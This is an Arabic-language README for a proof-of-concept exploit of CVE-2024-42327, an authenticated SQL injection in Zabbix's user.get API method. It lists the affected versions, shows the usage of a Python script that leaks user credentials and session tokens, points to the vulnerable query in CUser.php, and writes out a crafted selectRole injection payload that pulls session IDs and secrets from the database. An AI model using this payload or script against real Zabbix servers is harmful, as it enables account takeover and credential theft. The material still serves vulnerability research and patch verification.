
POC لثغرة CVE-2024-42327، وهي ثغرة حقن SQL تتطلب المصادقة في Zabbix عبر طريقة API user.get
POC لـ CVE-2024-42327، وهي ثغرة حقن SQL تتطلب مصادقة في Zabbix عبر طريقة user.get في API. هذا الـ POC ليس قائمًا على الوقت مثل بعض الـ POCs الأخرى التي رأيتها.
توجد الثغرة في نقطة نهاية user.get في API، ويمكن استغلالها من قبل مستخدم غير مسؤول لديه صلاحية الوصول إلى API، بما في ذلك الحسابات ذات دور المستخدم الافتراضي.
يوجد خلل حقن SQL في الصف CUser داخل الدالة addRelatedObjects. تُستدعى هذه الدالة من الدالة CUser.get، وهي متاحة للمستخدمين الذين لديهم صلاحية الوصول إلى API.
يمكن للمهاجم حقن أوامر SQL عن طريق التلاعب باستدعاءات API.
قد يسمح الاستغلال الناجح للثغرة للمهاجم بالحصول على وصول وتحكم غير مصرح به.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
سيقوم هذا الـ POC بتسريب بيانات اعتماد المستخدمين من قاعدة البيانات، وكذلك تسريب رموز الجلسات (session tokens) للمصادقة بها على API.
توجد خيار لتشغيل استعلام SQL مخصص (--query).
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
عند فحص الكود على الرابط https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php في الدالة addRelatedObjects، نجد بسهولة استعلام SQL القابل للاستغلال (الأسطر 3046 - 3051).
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
من الواضح فورًا أن القيم المدرجة في $options['selectRole'] تُمرَّر إلى استعلام SQL.
يبدو شكل JSON النموذجي للوصول إلى هذا الجزء من الكود كما يلي:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
يمكننا صياغة قيم "selectRole" للسماح بحقن SQL.
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
يجعل الحقن أعلاه استعلام SQL شيئًا مثل ما يلي:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)